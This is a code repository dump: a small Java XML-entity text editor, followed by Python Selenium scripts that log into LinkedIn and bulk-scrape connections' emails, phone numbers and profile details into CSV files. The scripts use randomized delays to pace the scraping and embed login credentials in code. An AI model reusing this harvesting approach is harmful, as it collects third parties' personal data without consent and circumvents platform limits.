setVisible(true);
Thread th;
th = new Thread();
th.start();
}
public void initMenu()
{
menuBar = new JMenuBar();
setJMenuBar(menuBar);
fileMenu = new JMenu("File");
newAction = new JMenuItem("New");
openAction = new JMenuItem("Open");
saveAction = new JMenuItem("save");
exitAction = new JMenuItem("Exit");
fileMenu.add(newAction);
fileMenu.addSeparator();
fileMenu.add(openAction);
fileMenu.add(saveAction);
fileMenu.addSeparator();
fileMenu.add(exitAction);
menuBar.add(fileMenu);
editMenu = new JMenu("Edit");
cutAction = new JMenuItem("Cut");
copyAction = new JMenuItem("Copy");
pasteAction = new JMenuItem("Paste");
convertAction = new JMenuItem("Convert");
editMenu.add(cutAction);
editMenu.add(copyAction);
editMenu.add(pasteAction);
editMenu.addSeparator();
editMenu.add(convertAction);
menuBar.add(editMenu);
formatMenu = new JMenu("Format");
fontAction = new JMenuItem("Font");
formatMenu.add(fontAction);
menuBar.add(formatMenu);
languageMenu = new JMenu("Language");
xmlAction = new JMenuItem("xml");
languageMenu.add(xmlAction);
menuBar.add(languageMenu);
newAction.addActionListener(this);
openAction.addActionListener(this);
saveAction.addActionListener(this);
exitAction.addActionListener(this);
cutAction.addActionListener(this);
copyAction.addActionListener(this);
pasteAction.addActionListener(this);
convertAction.addActionListener(this);
fontAction.addActionListener(this);
xmlAction.addActionListener(this);
}
public void actionPerformed(final ActionEvent e)
{
// TODO Auto-generated method stub
if(e.getSource().equals(newAction))
{
TabbedTextPanel textPanel = new TabbedTextPanel();
// System.out.println("tabCount : "+tabCount);
tabbedPane.addTab("new page #"+tabCount++,textPanel);
initTabComponent();
tabbedPane.setSelectedIndex(tabbedPane.getTabCount()-1);
}
else if(e.getSource().equals(openAction))
{
int returnValue = fileChooser.showOpenDialog(XSCController.this);
if (returnValue == JFileChooser.APPROVE_OPTION) {
File file = fileChooser.getSelectedFile();
JTextArea textArea = new JTextArea();
//This is where the application opens the file.
System.out.println("Opening: " + file.getName() + ".\n");
try {
FileInputStream fileInput = new FileInputStream(file);
DataInputStream in = new DataInputStream(fileInput);
BufferedReader br = new BufferedReader(new InputStreamReader(in));
textArea.setText("");
String strLine;
//Read File Line By Line
while ((strLine = br.readLine()) != null) {
// Print the content on the console
textArea.append(strLine+"\n");
}
//Close the input stream
in.close();
TabbedTextPanel textPanel = new TabbedTextPanel();
((JTextArea)textPanel.getTextArea()).setText(textArea.getText());
tabbedPane.addTab(file.getName(),textPanel);
initTabComponent();
tabbedPane.setSelectedIndex(tabbedPane.getTabCount()-1);
} catch (FileNotFoundException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
else {
//user Cancels open Action
}
}
else if(e.getSource().equals(saveAction))
{
int returnVal = fileChooser.showSaveDialog(XSCController.this);
if (returnVal == JFileChooser.APPROVE_OPTION) {
File file = fileChooser.getSelectedFile();
TabbedTextPanel aTextPanel = (TabbedTextPanel)tabbedPane.getSelectedComponent();
JTextArea textArea = aTextPanel.getTextArea();
//This is where a real application would save the file.
System.out.println("Saving: " + file.getName() + ".\n");
// if file doesnt exists, then create it
try {
file.createNewFile();
FileWriter fileWriter = new FileWriter(file.getAbsoluteFile());
BufferedWriter bw = new BufferedWriter(fileWriter);
String text = textArea.getText();
int totalLines = textArea.getLineCount();
for (int i=0; i < totalLines; i++)
{
int start = textArea.getLineStartOffset(i);
int end = textArea.getLineEndOffset(i);
String line = text.substring(start, end);
bw.write(line);
}
bw.close();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
} catch (BadLocationException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
tabbedPane.setTitleAt(tabbedPane.getSelectedIndex(), file.getName());
}
else
{
// System.out.println("Save command cancelled by user.\n");
}
}
else if(e.getSource().equals(exitAction))
{
System.exit(0);
}
else if(e.getSource().equals(cutAction))
{
TabbedTextPanel atextPanel = (TabbedTextPanel) tabbedPane.getSelectedComponent();
//System.out.println(atextPanel.getTextArea().getSelectedText());
//atextPanel.getTextArea().replaceSelection("");
atextPanel.getTextArea().cut();
//textArea.replaceSelection("");
}
else if(e.getSource().equals(copyAction))
{
TabbedTextPanel atextPanel = (TabbedTextPanel) tabbedPane.getSelectedComponent();
atextPanel.getTextArea().copy();
// System.out.println(textArea.getSelectedText());
}
else if(e.getSource().equals(pasteAction))
{
TabbedTextPanel atextPanel = (TabbedTextPanel) tabbedPane.getSelectedComponent();
atextPanel.getTextArea().paste();
//System.exit(0);
}
else if (e.getSource().equals(convertAction))
{
TabbedTextPanel atextPanel = (TabbedTextPanel) tabbedPane.getSelectedComponent();
String temp = atextPanel.getTextArea().getText();
temp = HTMLEntityResolver.resolveAllEntities(temp);
atextPanel.getTextArea().setText(temp);
JOptionPane.showMessageDialog(this,"The convertion has been successful");
}
else if (e.getSource().equals(fontAction))
{
//do nothing :) not yet defined
}
else if (e.getSource().equals(xmlAction))
{
TabbedTextPanel atextPanel = (TabbedTextPanel) tabbedPane.getSelectedComponent();
String temp = atextPanel.getTextArea().getText();
temp = HTMLEntityResolver.resolveAllEntities(temp);
atextPanel.getTextArea().setText(XMLLanguageFormatter.formatTextAsXML(temp));
JOptionPane.showMessageDialog(this,"The Formatting has been successful");
}
}
public static void main(String args[])
{
XSCController x = new XSCController();
try {
UIManager.setLookAndFeel(new WindowsLookAndFeel());
} catch (Exception e) {
}
}
public void run() {
// TODO Auto-generated method stub
}
private void initTabComponent() {
int i = tabbedPane.getTabCount();
tabbedPane.setTabComponentAt(i-1,
new ButtonTabComponent(tabbedPane));
}
}
<file_sep>/build.xml
<?xml version="1.0"?>
<project name="XMLSymbolsConverter" basedir="." default="jar">
<property name="src" value="Ant-Source"/>
<property name="output" value="build"/>
<!-- to remove any Previous builds -->
<target name="clean">
<delete dir="${output}"/>
</target>
<!-- to initiate a new build directory -->
<target name="init" depends="clean">
<mkdir dir="${output}"/>
</target>
<!-- to compile the code from src -->
<!-- the destination directory is build -->
<target name="compile" depends="init">
<javac destdir="build">
<src path="${src}"/>
<classpath refid="java"/>
</javac>
</target>
<!-- starting point of the build file -->
<!-- creates the jar file -->
<target name="jar" depends="compile">
<jar destfile="Converter.java">
<fileset dir="build"/>
</jar>
</target>
<!-- reference for java -->
<path id="java">
<fileset dir="C:/Program Files/Java/jdk1.6.0_18/lib">
<include name="*.jar"/>
</fileset>
</path>
</project><file_sep>/src/com/xmlSymbolsConverter/examples/TagRemover.java
package com.xmlSymbolsConverter.examples;
public class TagRemover {
public static void main(String[] args) {
String s = "<pre><font size=\"7\"><strong>Some text here\n\n</strong></font><strong>";
String o = "";
boolean append = true;
for (int i = 0; i < s.length(); i++) {
if (s.charAt(i) == '<')
append = false;
if (append)
o += s.charAt(i);
if (s.charAt(i) == '>')
append = true;
}
System.out.println(o);
}
}
<file_sep>/src/com/xmlSymbolsConverter/stringOperationCheckers/SubStringCheckers.java
package com.xmlSymbolsConverter.stringOperationCheckers;
public class SubStringCheckers
{
public static void main(String args[])
{
String mainString = " sag <Soap> ugoylgvlsuadfgcosatf </Soap> soap";
System.out.println("The first String is "+mainString);
System.out.println("After removing anything before <Soap> and after </Soap> : "+mainString.substring(mainString.indexOf("<Soap>"),mainString.indexOf("</Soap>"))+"</Soap>");
}
}
<file_sep>/src/com/xmlSymbolsConverter/stringOperationCheckers/StringReplaceChecker.java
package com.xmlSymbolsConverter.stringOperationCheckers;
public class StringReplaceChecker {
public static void main(String[] args) {
String s = "<be the man> "oh!yeah" <\\be the man>";
int length;
System.out.println("s = " + s);
char[] chars = s.toCharArray();
length = s.length();
StringBuilder stringBuilder;
StringBuilder sentence = new StringBuilder();;
for (int i=0;i<length;i++)
{
if(chars[i]=='&')
{
stringBuilder = new StringBuilder();
stringBuilder.append(chars[i]);
stringBuilder.append(chars[i+1]);
stringBuilder.append(chars[i+2]);
stringBuilder.append(chars[i+3]);
if(stringBuilder.toString().equalsIgnoreCase(">"))
{
sentence.append('>');
i+=3;
}
else if(stringBuilder.toString().equalsIgnoreCase("<"))
{
sentence.append('<');
i+=3;
}
else
{
stringBuilder.append(chars[i+4]);
stringBuilder.append(chars[i+5]);
if(stringBuilder.toString().equalsIgnoreCase("""))
sentence.append('\"');
i+=5;
}
}
else
{
sentence.append(chars[i]);
}
}
System.out.println("Answer: "+sentence.toString());
}
}<file_sep>/src/com/xmlSymbolsConverter/stringOperationCheckers/tagChecker.java
package com.xmlSymbolsConverter.stringOperationCheckers;
public class tagChecker {
public static void main(String[] args) {
String aTag = "<tab>";
aTag=aTag.replaceAll("<", " ");
aTag=aTag.replaceAll(">", " ");
aTag=aTag.trim();
String tempTag = "<\\tab>";
tempTag = tempTag.replaceAll("<", " ");
tempTag = tempTag.replaceAll(">", " ");
tempTag = tempTag.trim();
System.out.print(aTag);
System.out.print(tempTag);
if(tempTag.endsWith(aTag) && (tempTag.contains("\\")) && (tempTag.length()-aTag.length()==1))
{
System.out.print("Done");
}
}
}
|
e449d8d8a734a57a49e88c71889ea893d7d723b6
|
[
"Java",
"Ant Build System"
] | 7
|
Java
|
rafe721/do_your_thaang
|
b0d60ced6a86076e61d84237b705ec4ba3b3ac87
|
cba7f9eaaf62fc36cccaea2a4ee698e1d51aa186
|
refs/heads/master
|
<repo_name>CoderSquire/TravisCIIntegration<file_sep>/README.md
# TravisCIIntegration
Test Repo to check Travis CI integration for a Swift project
<file_sep>/UISlider-Swift/UISliderDemo/UISliderDemo/ViewController.swift
//
// ViewController.swift
// UISliderDemo
//
// Created by <NAME> on 6/13/15.
// Copyright © 2015 <NAME>. All rights reserved.
//
import UIKit
class ViewController: UIViewController {
@IBOutlet weak var slider: UISlider!
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
@IBAction func sliderValueChanged(sender: UISlider) {
print("Slider value : \(sender.value)", appendNewline: false)
let thumbImageView:UIView = sender.subviews.last!
for subview in thumbImageView.subviews {
subview.removeFromSuperview()
}
let textLabel:UILabel = UILabel(frame: CGRectMake(thumbImageView.bounds.origin.x-20, thumbImageView.bounds.origin.y, thumbImageView.bounds.size.width+40, thumbImageView.bounds.size.height))
textLabel.text = String.localizedStringWithFormat("%0.2f%%", sender.value*100)
textLabel.backgroundColor = UIColor.clearColor()
textLabel.font = textLabel.font.fontWithSize(13.0)
textLabel.textAlignment = NSTextAlignment.Center
thumbImageView.addSubview(textLabel)
}
}
|
35d98517eccc175c74b6c40cfd60bf6b765476fb
|
[
"Markdown",
"Swift"
] | 2
|
Markdown
|
CoderSquire/TravisCIIntegration
|
7f3a706ea2b3b25ec5c52ffe09f114c648427148
|
6c35cf2e4ad786fba956253cc90fb677a5843562
|
refs/heads/master
|
<repo_name>helpfulrobot/silverstripe-calendar<file_sep>/code/time/CalendarTimePeriod.php
<?php
class CalendarTimePeriod {
// Attributes
private $startTime;
private $endTime;
// Constructor
function __construct(CalendarTime $startTime, CalendarTime $endTime) {
$this->setAttributes($startTime, $endTime);
}
// Functions
function setAttributes(CalendarTime $startTime, CalendarTime $endTime) {
if($this->isValidPeriod($startTime, $endTime)) {
$this->startTime = $startTime;
$this->endTime = $endTime;
}
else {
user_error('CalendarTimePeriod::setAttributes() : you cannot construct a \'CalendarTimePeriod\' with the $startTime attribute superior or equal to the $endTime attribute', E_USER_ERROR);
}
}
function isValidPeriod(CalendarTime $startTime, CalendarTime $endTime) {
return $startTime < $endTime;
}
function getStartTime() {return $this->startTime;}
function getEndTime() {return $this->endTime;}
}
?>
|
764e73f28a5d02e2cffeec0015d2617704359a01
|
[
"PHP"
] | 1
|
PHP
|
helpfulrobot/silverstripe-calendar
|
10d2fada145b997f8b527ee081266e42a3741627
|
3b009cbad077cafed3d41e9b2ff171d0c2a1d062
|
refs/heads/master
|
<repo_name>dmanaster/linkedingroup<file_sep>/clicker.rb
require 'rubygems'
require 'mechanize'
agent = Mechanize.new
page = agent.get('http://linkedin.com/')
login_form = page.forms.first
username_field = login_form.field_with(:name => "session_key")
username_field.value = "EMAIL ADDRESS"
password_field = login_form.field_with(:name => "session_password")
password_field.value = "<PASSWORD>"
login_form.submit
# Change URL to the URL of the Manage Group page
new_page = agent.get('URL')
member_page = new_page.link_with(:text => " Members ").click
stop = false
counter = 0
until stop == true
# checks all boxes on page
form = member_page.form_with(:name => 'participantListForm')
allcheckboxes = form.checkboxes
allcheckboxes.each do |checkbox|
checkbox.check
end
# submits form
button = form.button_with(:name => 'subMbrsActn-ma-swal2p', :class => 'bulkRequest')
next_page = form.submit(button)
# Moves on to next page if there is one
if link = member_page.link_with(:text => "Next")
member_page = link.click
counter = counter + 1
members = counter * 50
puts "First #{members} members are now moderated."
else
stop = true
end
end
|
f7ea721e33c00b87aa9d222cdfdfc3b35f23e350
|
[
"Ruby"
] | 1
|
Ruby
|
dmanaster/linkedingroup
|
89733f003e370697ed92bb0d3b90fecf11f25cfd
|
7739a604b6d190deefc0045b3795921f725b3cba
|
refs/heads/master
|
<repo_name>tomarfaruk/web-scrap-with-selenium<file_sep>/mycsvreder.py
from selenium import webdriver
import time
import requests, time, random
from bs4 import BeautifulSoup
# import pandas
import csv
import io
import urllib
import codecs
links = []
with io.open('final_profile_links.csv', 'r', newline='', encoding="utf-8") as csv_file:
myreader = csv.reader(csv_file)
l = 0
for r in reversed(list(myreader)):
link = r[0]
links.append(link)
l+=1
if l==500:
break
csv_file.close()
# # specifies the path to the chromedriver.exe
driver = webdriver.Chrome(r"C:\Users\tomar\Downloads\chromedriver.exe")
# # driver.get method() will navigate to a page given by the URL address
driver.get(r"https://www.linkedin.com/login?fromSignIn=true&trk=guest_homepage-basic_nav-header-signin")
time.sleep(5)
username = driver.find_element_by_id('username')
# # send_keys() to simulate key strokes
username.send_keys('<EMAIL>')
# username.send_keys('<EMAIL>')
# # locate password form by_class_name
password = driver.find_element_by_id('password')
# # send_keys() to simulate key strokes
# password.send_keys('<PASSWORD>')
password.send_keys('<PASSWORD>@@@')
login_btn = driver.find_element_by_class_name('btn__primary--large')
login_btn.click()
time.sleep(5)
# url = r"https://www.linkedin.com/mynetwork/invite-connect/connections/"
login_btn = driver.find_element_by_xpath('//*[@id="mynetwork-nav-item"]/a')
login_btn.click()
time.sleep(5)
login_btn = driver.find_element_by_css_selector('.mn-community-summary__link.link-without-hover-state.ember-view')
login_btn.click()
time.sleep(5)
print('finished..........................................')
# driver.get(url)
SCROLL_PAUSE_TIME = 5
parentpage = driver.current_window_handle
count100 = 0
if links:
with io.open('profile_datails_last_500.csv', 'w+', newline='', encoding="utf-8") as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['Name', 'Email', 'phone', 'website', 'Link', 'Current status', 'experience1', 'experience2', 'address', 'number of friends', 'profile image'])
items = 0
count100 += 1
for link in links:
if items == 100:
print()
print()
print()
print()
print()
print()
print()
print()
print()
print("Ohh finished {} th i need rest :D ".format(count100))
time.sleep(300)
items = 0
items += 1
url = r"" + link + r"detail/contact-info/"
# got to single user profile
driver.execute_script("window.open('{}')".format(url))
# driver.get(url)
time.sleep(random.randint(5, 20)) #wait 5-40s for loading page you can change time depend on device and internet speed
handles = driver.window_handles
driver.switch_to.window(handles[-1])
time.sleep(1)
html = driver.page_source
soup = BeautifulSoup(html, 'html.parser')
# soup = soup.findAll(recursive=True)
# //emai collection
email_address = user_name = profile_image = current_work = phone = website = ''
# website link
try:
contact_info = soup.findAll("section", {"class": "ci-websites"})[0]
website = contact_info.select('ul li a')[0]['href']
print(website)
except:
print("website not found")
pass
# email address
try:
contact_info = soup.findAll("section", {"class": "ci-email"})[0]
email_address = contact_info.select('div a')[0]['href'].strip()
print(email_address)
except:
print("email not found")
pass
# phone number
try:
contact_info = soup.findAll("section", {"class": "ci-phone"})[0]
phone = contact_info.select('ul li span')[0].get_text()
print(phone)
except:
print("phone not found")
pass
try:
user_profile_html = soup.findAll("main", {"class": "core-rail"})[0]
user_name = user_profile_html.select('.pv-top-card--list.inline-flex.align-items-center li')[0].get_text().strip()
profile_image = user_profile_html.select('div.presence-entity.pv-top-card__image.presence-entity--size-9.ember-view img')[0]['src']
current_work = user_profile_html.select('h2.mt1.t-18.t-black.t-normal')[0].get_text().strip()
except:
print("error in user profile ")
about = user_profile_html.select('ul.pv-top-card--list.pv-top-card--list-bullet.mt1 li')
address = number_of_friend = contact_link = ''
try:
if len(about) == 3:
address = about[0].get_text().strip()
contact_link = about[2].select('a')[0]['href']
number_of_friend = about[1].get_text().strip()
print(contact_link)
except:
print("error")
pass
experiences = user_profile_html.select('ul.pv-top-card--experience-list li')
exp1 = exp2 = ''
try:
exp1 = experiences[0].get_text().strip()
exp2 = experiences[1].get_text().strip()
except:
print('experience not found ')
print()
print(exp1, exp2)
writer.writerow([user_name, email_address, phone, website, url, current_work, exp1, exp2, address, number_of_friend, contact_link, profile_image])
for h in driver.window_handles:
if parentpage != h:
driver.switch_to.window(h)
driver.close()
time.sleep(1)
driver.switch_to.window(parentpage)
# driver.refresh()
time.sleep(2)
csv_file.close()
driver.quit()
<file_sep>/README.md
# selenium-with-linkedin<file_sep>/tutorials.py
from selenium import webdriver
import time
import requests, time, random
from bs4 import BeautifulSoup
import pandas
import csv
import io
import urllib
import codecs
# specifies the path to the chromedriver.exe
driver = webdriver.Chrome(r"C:\Users\tomar\Downloads\chromedriver.exe")
#driver.get method() will navigate to a page given by the URL address
url = r"http://demo.automationtesting.in/Windows.html"
#webdriver
driver.get(url)
time.sleep(1)
print(driver.current_url)
driver.find_element_by_xpath('//*[@id="Tabbed"]/a/button').click()
time.sleep(1)
print(driver.current_url)
driver.quit()
#forword backword
driver.get(url)
time.sleep(1)
print(driver.title)
driver.get(url1)
time.sleep(1)
driver.back()
time.sleep(1)
print(driver.title)
driver.forward()
time.sleep(1)
print(driver.title)
driver.quit()
# is enable or disabled
driver.find_elements_by_class_name(username)
driver.is_displayed()
driver.is_enabled()
driver.find_element_by_css_selector("input[value=hello]")
driver.is_selected()
#maximize windows
driver.maximize_window()
#explicite wait
driver.implicitly_wait(5)
from selenium.webdriver.support.ui import WebDriverWait
# loadin a apge and wait maximize 10s
wait = WebDriverWait(driver, 10) #maximum 10s wait
# element select and continue
element = wait.until(EC.element_to_be_clickbale((By.id, "id")))
# radio button select then .click()
# dropdown select
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.by import By
element = driver.find_element_by_css_selector()
drp = Select(element)
drp.select_by_index(1)
drp.select_by_value("")
drp.select_by_visible_text("")
all_options = drp.options() #get all options
#work with link
driver.switch_to_alert().dismiss()
driver.find_element(By.PARTIAL_LINK_TEXT, "reg")
# ifram
driver.switch_to.frame("name of fram")
driver.find_element_by_link_text("click here").click()
# go back to the main page then you can access other frame
driver.switch_to.default_content()
driver.switch_to.frame("name of other fram")
driver.find_element_by_link_text("cleck here")
driver.switch_to.default_content()
# browser windows handle
print(driver.current_window_handle)
print(driver.window_handles)
handles = driver.window_handles #return all windows value
for valu in handles:
driver.switch_to.window(valu)
time.sleep(5)
print(driver.title)
driver.close()
# mouse actions movement
frist = driver.find_element_by_xpath("xpath")
second = driver.find_element_by_xpath("xpath")
third = driver.find_element_by_xpath("xpath")
from selenium.webdriver import ActionChains
actions = ActionChains(driver)
actions.move_to_element(frist).move_to_element(second).move_to_element(third).click().perform()
actions.double_click(frist).perform() #double click
actions.context_click(frist).perform() #write click
actions.drag_and_drop(frist, second).perform() #deag and drop
# chrome option settings
from selenium.webdriver.chrome.options import Options
options = Options.add_encoded_extension('prefs', {"download.default_directory": "c\path"})
driver = webdriver.Chrome(executable_path=url, chrome_options=options)
#screen short
driver.get_screenshot_as_file("screenshot.png") #only take png
driver.save_screenshot("path") #any kind of extention .jpg .png
#log file save
import logging
logging.basicConfig(filename="path .log",
format='%(asctime)s: %(levelname)s: %(message)s'
level=logging.DEBUG)
logging.debug("this is debug")
logging.error("error")
logging.warning("wornign")
logging.info("info")
logging.critical('critical')
# unitTest
import unittest
def setUpModule():
print("this will execute before module start")
def tearDownModule():
print("this will execute after module fininsh")
class Test(unittest.TestCase):
@classmethod
def setUp(self):
print('this is start befor method start')
@classmethod
def tearDown(self):
print("this is start after method finished")
@classmethod
def setUpClass(self):
print('this start before class start')
@classmethod
def tearDownClass(self):
print('this start after finish class')
def test_firstcase(self):
print("this is my first test case")
def test_secound(self):
print("this is my first test case")
@unittest.SkipTest
def skip_test(self):
print("skip test case")
@unittest.skip("this is not ready yet")
def skip_only(self):
print("skip with msg")
@unittest.skipIf(1==1, "1==1 is not correct")
def skip_with_condition(self):
print("skip with condition")
# assertion method
def testName(self):
driver = webdriver.Chrome(executable_path="path")
driver.get(url)
title = driver.title
self.assertEqual("title", title, "error meg") #if title equal google
self.assertNotEqual() #so many condition are there
if __name__ == "__main__":
unittest.main()
# suppose we have more than one test package1, pageage2
from package1.test1 import class1
from package2.test2 import class2
tc1 = unittest.TestLoader.loadTestsFromTestCase(class1)
tc2 = unittest.TestLoader.loadTestsFromTestCase(class2)
testSuite = unittest.TestSuite([tc1, tc2])
unittest.TextTestRunner().run(testSuite)
unittest.TextTestRunner(verbosity=2).run(testSuite)<file_sep>/multi_tab.py
from selenium import webdriver
import time
import requests, time, random
from bs4 import BeautifulSoup
# import pandas
import csv
import io
import urllib
import codecs
# # specifies the path to the chromedriver.exe
driver = webdriver.Chrome(r"C:\Users\tomar\Downloads\chromedriver.exe")
# # driver.get method() will navigate to a page given by the URL address
driver.get(r"https://www.linkedin.com/login?fromSignIn=true&trk=guest_homepage-basic_nav-header-signin")
time.sleep(5)
username = driver.find_element_by_id('username')
# # send_keys() to simulate key strokes
# username.send_keys('<EMAIL>')
username.send_keys('um<PASSWORD> <EMAIL>')
# # locate password form by_class_name
password = driver.find_element_by_id('password')
# # send_keys() to simulate key strokes
password.send_keys('<PASSWORD>')
# password.send_keys('<PASSWORD>@@@')
login_btn = driver.find_element_by_class_name('btn__primary--large')
login_btn.click()
time.sleep(5)
# url = r"https://www.linkedin.com/mynetwork/invite-connect/connections/"
login_btn = driver.find_element_by_xpath('//*[@id="mynetwork-nav-item"]/a')
login_btn.click()
time.sleep(5)
login_btn = driver.find_element_by_css_selector('.mn-community-summary__link.link-without-hover-state.ember-view')
login_btn.click()
time.sleep(5)
print('finished..........................................')
# driver.get(url)
SCROLL_PAUSE_TIME = 5
parentpage = driver.current_window_handle
# # Get scroll height
last_height = driver.execute_script("return document.body.scrollHeight")
height_stable = 0
equal_height_count = 0
for i in range(150):
# Scroll down to bottom
driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
wait_time = random.randint(1,5)
#Wait to load page
time.sleep(wait_time)
#Calculate new scroll height and compare with last scroll height
new_height = driver.execute_script("return document.body.scrollHeight")
#print(new_height)
if new_height == last_height:
driver.execute_script("window.scrollTo(0," + str(last_height-2000) + ");")
time.sleep(wait_time)
last_height = new_height
if height_stable != last_height:
height_stable = last_height
equal_height_count=0
elif equal_height_count >= 10 :
break
else:
equal_height_count += 1
print(i, wait_time)
html = driver.page_source
# driver.close()
time.sleep(3)
soup = BeautifulSoup(html, 'html.parser')
connection_page = soup.findAll("section", {"class": "mn-connections"})[0]
# write html in file
file2 = open("MyFile2.txt","w", encoding="utf-8")
file2.write(str(connection_page))
file2.close()
# print(connection_page)
# url = r'./MyFile2.txt'
# html = codecs.open(url, 'r', 'utf-8').read()
connection = connection_page.findAll(
"header", {"class": "mn-connections__header"})[0].h1.text
friend_profiles_links = connection_page.findAll("a", {"class": "mn-connection-card__link"})
links = []
# open csv file for save all friends profile link
with io.open('profile_links.csv', 'w+', newline='', encoding="utf-8") as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['link'])
for friend_profile in friend_profiles_links:
# user name
name = friend_profile.find("span", {"class": "mn-connection-card__name"}).text.strip()
# user profile link
link = friend_profile['href']
# link = friend_profile.select('span')[1].get_text()
links.append(link)
print(name, link)
# write the link in csv file
writer.writerow([r'https://www.linkedin.com'+link])
csv_file.close()
# save profile informations
# open a new csv file for save user details
if links:
with io.open('profile_datails.csv', 'w+', newline='', encoding="utf-8") as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['Name', 'Email', 'phone', 'website', 'Link', 'Current status', 'experience1', 'experience2', 'address', 'number of friends', 'profile image'])
items=0
for link in links:
if items == 25:
driver.quit()
time.sleep(6)
items=0
driver.get(r'https://www.linkedin.com/mynetwork/invite-connect/connections/')
time.sleep(3)
parentpage = driver.current_window_handle
items += 1
url = r"https://www.linkedin.com" + link + r"detail/contact-info/"
# got to single user profile
driver.execute_script("window.open('{}')".format(url))
# driver.get(url)
time.sleep(random.randint(1,5)) #wait 5-40s for loading page you can change time depend on device and internet speed
handles = driver.window_handles
driver.switch_to.window(handles[-1])
time.sleep(1)
html = driver.page_source
soup = BeautifulSoup(html, 'html.parser')
# soup = soup.findAll(recursive=True)
# //emai collection
email_address = user_name = profile_image = current_work = phone = website = ''
# website link
try:
contact_info = soup.findAll("section", {"class": "ci-websites"})[0]
website = contact_info.select('ul li a')[0]['href']
print(website)
except:
print("website not found")
pass
# email address
try:
contact_info = soup.findAll("section", {"class": "ci-email"})[0]
email_address = contact_info.select('div a')[0]['href'].strip()
print(email_address)
except:
print("email not found")
pass
# phone number
try:
contact_info = soup.findAll("section", {"class": "ci-phone"})[0]
phone = contact_info.select('ul li span')[0].get_text()
print(phone)
except:
print("phone not found")
pass
try:
user_profile_html = soup.findAll("main", {"class": "core-rail"})[0]
user_name = user_profile_html.select('.pv-top-card--list.inline-flex.align-items-center li')[0].get_text().strip()
profile_image = user_profile_html.select('div.presence-entity.pv-top-card__image.presence-entity--size-9.ember-view img')[0]['src']
current_work = user_profile_html.select('h2.mt1.t-18.t-black.t-normal')[0].get_text().strip()
except:
print("error in user profile ")
about = user_profile_html.select('ul.pv-top-card--list.pv-top-card--list-bullet.mt1 li')
address = number_of_friend = contact_link = ''
try:
if len(about) == 3:
address = about[0].get_text().strip()
contact_link = about[2].select('a')[0]['href']
number_of_friend = about[1].get_text().strip()
print(contact_link)
except:
print("error")
pass
experiences = user_profile_html.select('ul.pv-top-card--experience-list li')
exp1 = exp2 = ''
try:
exp1 = experiences[0].get_text().strip()
exp2 = experiences[1].get_text().strip()
except:
print('experience not found ')
print()
print(exp1, exp2)
writer.writerow([user_name, email_address, phone, website, url, current_work, exp1, exp2, address, number_of_friend, contact_link, profile_image])
for h in driver.window_handles:
if parentpage != h:
driver.switch_to.window(h)
driver.close()
time.sleep(3)
driver.switch_to.window(parentpage)
time.sleep(5)
csv_file.close()
<file_sep>/url_scaraper.py
from selenium import webdriver
import time
import random
from bs4 import BeautifulSoup
import csv
import io
import urllib
import codecs
from time import sleep
# specifies the path to the chromedriver.exe
driver = webdriver.Chrome(r"chromedriver.exe")
# print("program written by <NAME> <EMAIL> from bangladesh")
with io.open('profile_datails100t.csv', 'a', newline='', encoding="utf-8") as csv_file:
writer = csv.writer(csv_file)
for i in range(1, 2500):
print('\n\n')
print(i)
try:
# get uri for page load
uri = f"https://www.panpages.my/locations/my3-kuala-lumpur/listings?page={i}&per_page=20"
# call uri
driver.get(uri)
time.sleep(1)
# find the targeted urls
links = driver.find_elements_by_css_selector(".fn.org>a")
write_first_lik = True
for l in links:
link = "null"
try:
link = l.get_attribute('href')
if write_first_lik:
writer.writerow([r''+link, i])
else:
writer.writerow([r''+link])
print(l.get_attribute('href'))
except Exception as e:
print(e)
writer.writerow(["null"])
write_first_lik = False
except Exception as e:
print(e)
# if page nto loaded sleep for 5m and write a message in csv
writer.writerow([f"can't load {i} number page "+uri])
time.sleep(300)
driver.close()
<file_sep>/profile_info.py
from selenium import webdriver
import time
import requests, time, random
from bs4 import BeautifulSoup
import pandas
import csv
import io
import urllib
import codecs
# import linked.links
# specifies the path to the chromedriver.exe
driver = webdriver.Chrome(r"C:\Users\tomar\Downloads\chromedriver.exe")
#driver.get method() will navigate to a page given by the URL address
driver.get(r"https://www.linkedin.com/login?fromSignIn=true&trk=guest_homepage-basic_nav-header-signin")
time.sleep(0.5)
username = driver.find_element_by_id('username')
# # send_keys() to simulate key strokes
##username.send_keys('<EMAIL>')
username.send_keys('um<PASSWORD> <EMAIL>')
# # locate password form by_class_name
password = driver.find_element_by_id('password')
# # send_keys() to simulate key strokes
##password.send_keys('<PASSWORD>@@@')
password.send_keys('<PASSWORD>')
login_btn = driver.find_element_by_class_name('btn__primary--large')
login_btn.click()
url = r"https://www.linkedin.com/in/mir-mahfuz/detail/contact-info/"
driver.get(url)
time.sleep(3)
html = driver.page_source
soup = BeautifulSoup(html, 'html.parser')
# soup = soup.findAll(recursive=True)
# //emai collection
email_address = user_name = profile_image = current_work = ''
try:
contact_info = soup.findAll("section", {"class": "ci-email"})[0]
email_address = contact_info.select('div a')[0]['href'].strip()
print(email_address)
except:
print("email not found")
pass
try:
user_profile_html = soup.findAll("main", {"class": "core-rail"})[0]
user_name = user_profile_html.select('.pv-top-card--list.inline-flex.align-items-center li')[0].get_text().strip()
profile_image = user_profile_html.select('div.presence-entity.pv-top-card__image.presence-entity--size-9.ember-view img')[0]['src']
current_work = user_profile_html.select('h2.mt1.t-18.t-black.t-normal')[0].get_text().strip()
except:
print("error in user profile ")
about = user_profile_html.select('ul.pv-top-card--list.pv-top-card--list-bullet.mt1 li')
address = number_of_friend = contact_link = ''
try:
if len(about) ==3 :
address = about[0].get_text().strip()
number_of_friend = about[1].get_text().strip()
contact_link = about[2].select('a')[0]['href']
print(contact_link)
except:
print("error")
pass
experiences = user_profile_html.select('ul.pv-top-card--experience-list li')
exp1 = exp2 = ''
try:
exp1 = experiences[0].get_text().strip()
exp2 = experiences[1].get_text().strip()
except:
print('experience not found ')
print()
print(exp1, exp2)
